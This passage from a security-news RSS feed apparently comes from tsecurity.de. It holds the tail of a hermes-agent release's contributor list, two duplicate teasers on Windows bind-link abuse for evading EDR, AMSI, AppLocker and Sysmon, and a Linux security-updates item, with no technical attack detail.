<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dexhunter/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dexhunter">@dexhunter</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dfein38347g/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dfein38347g">@dfein38347g</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Dhravya/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Dhravya">@Dhravya</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DictatorBacon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DictatorBacon">@DictatorBacon</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/digitalbase/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/digitalbase">@digitalbase</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dlkakbs/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dlkakbs">@dlkakbs</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dmabry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dmabry">@dmabry</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DNAlec/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DNAlec">@DNAlec</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dodo-reach/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dodo-reach">@dodo-reach</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/doncazper/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/doncazper">@doncazper</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dorokuma/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dorokuma">@dorokuma</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/doxe0x/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/doxe0x">@doxe0x</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Drexuxux/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Drexuxux">@Drexuxux</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dschnurbusch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dschnurbusch">@dschnurbusch</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Dusk1e/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Dusk1e">@Dusk1e</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/EdderTalmor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/EdderTalmor">@EdderTalmor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/egilewski/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/egilewski">@egilewski</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/elashera/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/elashera">@elashera</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Elektrofussel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Elektrofussel">@Elektrofussel</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/eliteworkstation94-ai/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/eliteworkstation94-ai">@eliteworkstation94-ai</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/embwl0x/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/embwl0x">@embwl0x</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/emo-eth/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/emo-eth">@emo-eth</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/emozilla/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/emozilla">@emozilla</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/enzo-adami/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/enzo-adami">@enzo-adami</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Epoxidex/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Epoxidex">@Epoxidex</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ErnestHysa/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ErnestHysa">@ErnestHysa</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/erosika/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/erosika">@erosika</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/esthonjr/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/esthonjr">@esthonjr</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/evefromwayback/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/evefromwayback">@evefromwayback</a>, @evelynburger, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/F4TB0Yz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/F4TB0Yz">@F4TB0Yz</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/falkoro/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/falkoro">@falkoro</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fanyangCS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fanyangCS">@fanyangCS</a>, <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/firefly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/firefly">@firefly</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fjlaowan1983/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fjlaowan1983">@fjlaowan1983</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/flewe/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/flewe">@flewe</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/flo1t/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/flo1t">@flo1t</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/flow-digital-ny/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/flow-digital-ny">@flow-digital-ny</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/floze-the-genius/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/floze-the-genius">@floze-the-genius</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/frizikk/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/frizikk">@frizikk</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Frowtek/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Frowtek">@Frowtek</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/FuryMartin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/FuryMartin">@FuryMartin</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fyzanshaik/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fyzanshaik">@fyzanshaik</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gauravsaxena1997/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gauravsaxena1997">@gauravsaxena1997</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/geoffreybutler94/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/geoffreybutler94">@geoffreybutler94</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/georgedrury/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/georgedrury">@georgedrury</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gigakun3030/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gigakun3030">@gigakun3030</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/giggling-ginger/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/giggling-ginger">@giggling-ginger</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Git-on-my-level/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Git-on-my-level">@Git-on-my-level</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gitcommit90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gitcommit90">@gitcommit90</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/githubespresso407/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/githubespresso407">@githubespresso407</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gnodet/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gnodet">@gnodet</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/GottZ/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/GottZ">@GottZ</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Gridzilla/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Gridzilla">@Gridzilla</a>, @grimmjoww578, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gumclaw/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gumclaw">@gumclaw</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Gutslabs/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Gutslabs">@Gutslabs</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HaiderSultanArc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HaiderSultanArc">@HaiderSultanArc</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/harjothkhara/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/harjothkhara">@harjothkhara</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/heathley/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/heathley">@heathley</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hejuntt1014/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hejuntt1014">@hejuntt1014</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HeLLGURD/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HeLLGURD">@HeLLGURD</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hellno/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hellno">@hellno</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/herbalizer404/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/herbalizer404">@herbalizer404</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HexLab98/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HexLab98">@HexLab98</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hmirin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hmirin">@hmirin</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Hopfensaft/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Hopfensaft">@Hopfensaft</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Hotragn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Hotragn">@Hotragn</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hsy5571616/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hsy5571616">@hsy5571616</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/huanshan5195/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/huanshan5195">@huanshan5195</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HumphreySun98/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HumphreySun98">@HumphreySun98</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hwrdprkns/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hwrdprkns">@hwrdprkns</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hydracoco7/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hydracoco7">@hydracoco7</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hydraxman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hydraxman">@hydraxman</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iamlukethedev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iamlukethedev">@iamlukethedev</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iborazzi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iborazzi">@iborazzi</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IgorGanapolsky/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IgorGanapolsky">@IgorGanapolsky</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iizotov/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iizotov">@iizotov</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ildunari/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ildunari">@ildunari</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/infinitycrew39/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/infinitycrew39">@infinitycrew39</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IpastorSan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IpastorSan">@IpastorSan</a>, @irresi, @isfttr, @isheng-eqi, @itsflownium, @izumi0uu, @Jaaneek, @JacketPants,<br>
@jaisup, @jakelongvu-bot, @jakepresent, @jaketracey, @JAlmanzarMint, @JasonFang1993, @jbbottoms, @jcjc81,<br>
@JiaDe-Wu, @Jiahui-Gu, @Jigoooo, @jingsong-liu, @jneeee, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JoaoMarcos44/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JoaoMarcos44">@JoaoMarcos44</a>, @joelbrilliant, @John-Lussier, @jplew,<br>
@jtstothard, @juniperbevensee, @Jupiter363, @justinschille, @k4z4n0v4, @kaishi00, @karfly, @kartik-mem0,<br>
@kavioavio, @KCAYAAI, @kenyonxu, @keslerm, @kevinrajaram, @knoal, @kocaemre, @kohoj, @konsisumer, @krowd3v,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, @kuangmi-bit, @kubolko, @kyssta-exe, @Kyzcreig, @l0h1nth, @labsobsidian, @laurinaitis,<br>
@LavyaTandel, @lawyer112, @lemonwan, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LeonSGP43/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LeonSGP43">@LeonSGP43</a>, @lEWFkRAD, @linfeng961, @liuhao1024, @liuwei666888, @ljy-2000,<br>
@loes5050, @logical-and, @LoicHmh, @loongfay, @lord-dubious, @lost9999, @lucasfdale, @lucaskvasirr,<br>
@luxuguang-leo, @ly-wang19, @m0n5t3r, @m1qaweb, @M1racleShih, @MaartenDMT, @mahdiwafy, @MaheshBhushan,<br>
@ManniBr, @marcelohildebrand, @marcolivierlavoie, @markoub, @MarkVLK, @Marxb85, @matantsevs,<br>
@maxpetrusenkoagent, @mbac, @mdc2122, @mguttmann, @Mibayy, @michaelHMK, @mijanx, @minchang, @momomojo,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MorAlekss/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MorAlekss">@MorAlekss</a>, @morluto, @msh01, @mssteuer, @mvanhorn, @nanami7777777, @nankingjing, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/necoweb3/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/necoweb3">@necoweb3</a>, @neo-claw-bot,<br>
@neoguyverx, @nicha16, @nikshepsvn, @nima20002000, @nnnet, @NousResearch, @nullptr0807, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nv-kasikritc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nv-kasikritc">@nv-kasikritc</a>,<br>
@okisdev, @OmarB97, @ooiuuii, @ooovenenoso, @oppih, @Osraka, @ostravajih, @otsune, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, @OYLFLMH,<br>
@patrick-muller, @pdmartins, @pedrommaiaa, @Peterskaronis, @petrichor-op, @pgregg88, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pierrenode/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pierrenode">@pierrenode</a>, @pixel4039,<br>
@plcunha, @pnascimento9596, @Polyhistor, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PRATHAMESH75/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PRATHAMESH75">@PRATHAMESH75</a>, @professorpalmer, @Punyko8, @Que0x, @Qwinty,<br>
@r0gersm1th, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/r266-tech/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/r266-tech">@r266-tech</a>, @rabadaki, @ragingbulld, @RainbowAndSun, @rainbowgore, @randimt, @rarf, @rasitakyol,<br>
@rayjun, @raymondyan-zhijie, @re-ITRT, @RenoMG, @Rival, @RKelln, @rlaehddus302, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rob-maron/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rob-maron">@rob-maron</a>, @rodboev,<br>
@roryford, @rungmc357, @ruslanvasylev, @s0xn1ck, @s905060, @s96919, @sahibzada-allahyar, @sahil-shubham,<br>
@Sahil-SS9, @SahilRakhaiya05, @sam7894604, @SAMBAS123, @samrusani, @sanidhyasin, @sasquatch9818, @sberan,<br>
@ScotterMonk, @seagpt, @sebastianlutycz, @SemonCat, @setclock, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shannonsands/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shannonsands">@shannonsands</a>, @sharziki, @shashwatgokhe,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SHL0MS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SHL0MS">@SHL0MS</a>, @shuangxinniao, @SilentKnight87, @simplast, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/simpolism/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/simpolism">@simpolism</a>, @SiteupAgencia, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sjiangtao2024/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sjiangtao2024">@sjiangtao2024</a>, @sk-holmes,<br>
@slow4cyl, @smtony, @soddy022, @Soju06, @solyanviktor-star, @SongotenU, @spiky02plateau, @sprmn24, @SquabbyZ,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/srojk34/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/srojk34">@srojk34</a>, @ssiweifnag, @stantheman0128, @StellarisW, @stephenschoettler, @suninrain086, @superposition,<br>
@Supersynergy, @sweetcornna, @szafranski, @tanmayxchoudhary, @tarunravi, @tcconnally, @terry197913, @Thatgfsj,<br>
@thegoodguysla, @thestudionorth, @TheTom, @TinkerOfThings, @tjboudreaux, @tjp2021, @Tortugasaur, @Tosko4,<br>
@Tranquil-Flow, @trevorgordon981, @trismegistus-wanderer, @tt-a1i, @tuancookiez-hub, @TurgutKural, @Umi4Life,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/UnathiCodex/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/UnathiCodex">@UnathiCodex</a>, @unsupportedpastels, @uzaylisak, @valda, @vampyren, @veradim, @victor-kyriazakos, @virtualex-itv,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vishal-dharm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vishal-dharm">@vishal-dharm</a>, @Vissirexa, @vizi0uz, @vkkong, @vKongv, @VolodymyrBg, @vortexopenclaw, @VrtxOmega, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/WadydX/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/WadydX">@WadydX</a>,<br>
@waroffchange, @waseemshahwan, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/web3blind/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/web3blind">@web3blind</a>, @webtecnica, @wesleion, @wesleysimplicio, @williamumu,<br>
@WilsonKinyua, @wxy-nlp, @wyuebei-cloud, @x7peeps, @x9x9x9x9x9x91, @xuezhaolan, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xxxigm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xxxigm">@xxxigm</a>, @ya-nsh, @yatesjalex,<br>
@ygd58, @yingliang-zhang, @yinkev, @YLChen-007, @yu-xin-c, @yungchentang, @zapabob, @zccyman, @zeapsu,<br>
@ziliangpeng, @zwcf5200, @zzpigpinggai</p>
<p>Also: bo.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.</p>
<hr>
<p><strong>Full Changelog</strong>: <a href="https://github.com/NousResearch/hermes-agent/compare/v2026.7.1...v2026.7.20">v2026.7.1...v2026.7.20</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Windows Bind Link Abuse Lets Attackers Blind EDR and Bypass AMSI, AppLocker, and Sysmon]]></title>
<description><![CDATA[Windows defenders are facing a new way for attackers to hide activity after gaining administrator access. The technique abuses Windows bind links, a legitimate feature that redirects one file path to another without changing the original file on disk. Rather…
Read more →
The post Windows Bind Lin...]]></description>
<link>https://tsecurity.de/de/3681857/it-security-nachrichten/windows-bind-link-abuse-lets-attackers-blind-edr-and-bypass-amsi-applocker-and-sysmon/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681857/it-security-nachrichten/windows-bind-link-abuse-lets-attackers-blind-edr-and-bypass-amsi-applocker-and-sysmon/</guid>
<pubDate>Mon, 20 Jul 2026 19:37:27 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Windows defenders are facing a new way for attackers to hide activity after gaining administrator access. The technique abuses Windows bind links, a legitimate feature that redirects one file path to another without changing the original file on disk. Rather…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/windows-bind-link-abuse-lets-attackers-blind-edr-and-bypass-amsi-applocker-and-sysmon/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/windows-bind-link-abuse-lets-attackers-blind-edr-and-bypass-amsi-applocker-and-sysmon/">Windows Bind Link Abuse Lets Attackers Blind EDR and Bypass AMSI, AppLocker, and Sysmon</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Windows Bind Link Abuse Lets Attackers Blind EDR and Bypass AMSI, AppLocker, and Sysmon]]></title>
<description><![CDATA[Windows defenders are facing a new way for attackers to hide activity after gaining administrator access. The technique abuses Windows bind links, a legitimate feature that redirects one file path to another without changing the original file on disk. Rather than dropping a visible replacement fi...]]></description>
<link>https://tsecurity.de/de/3681692/it-security-nachrichten/windows-bind-link-abuse-lets-attackers-blind-edr-and-bypass-amsi-applocker-and-sysmon/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681692/it-security-nachrichten/windows-bind-link-abuse-lets-attackers-blind-edr-and-bypass-amsi-applocker-and-sysmon/</guid>
<pubDate>Mon, 20 Jul 2026 19:00:30 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Windows defenders are facing a new way for attackers to hide activity after gaining administrator access. The technique abuses Windows bind links, a legitimate feature that redirects one file path to another without changing the original file on disk. Rather than dropping a visible replacement file or modifying security software, an attacker can make a […]</p>
<p>The post <a href="https://cybersecuritynews.com/windows-bind-link-abuse-lets/">Windows Bind Link Abuse Lets Attackers Blind EDR and Bypass AMSI, AppLocker, and Sysmon</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Security updates for Monday]]></title>
<description><![CDATA[Security updates have been issued by Debian (kernel, libnfs, roundcube, and tiff), Fedora (antlr4-project, chromium, erlang, libseccomp, libtiff, log4cxx, mbedtls, node-exporter, opam, openssh, proftpd, python-asyncssh, python-django5, python-libcst, python-orjson, python-uv-build, ruby, rust-ast...]]></description>
<link>https://tsecurity.de/de/3681213/linux-tipps/security-updates-for-monday/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681213/linux-tipps/security-updates-for-monday/</guid>
<pubDate>Mon, 20 Jul 2026 15:10:28 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
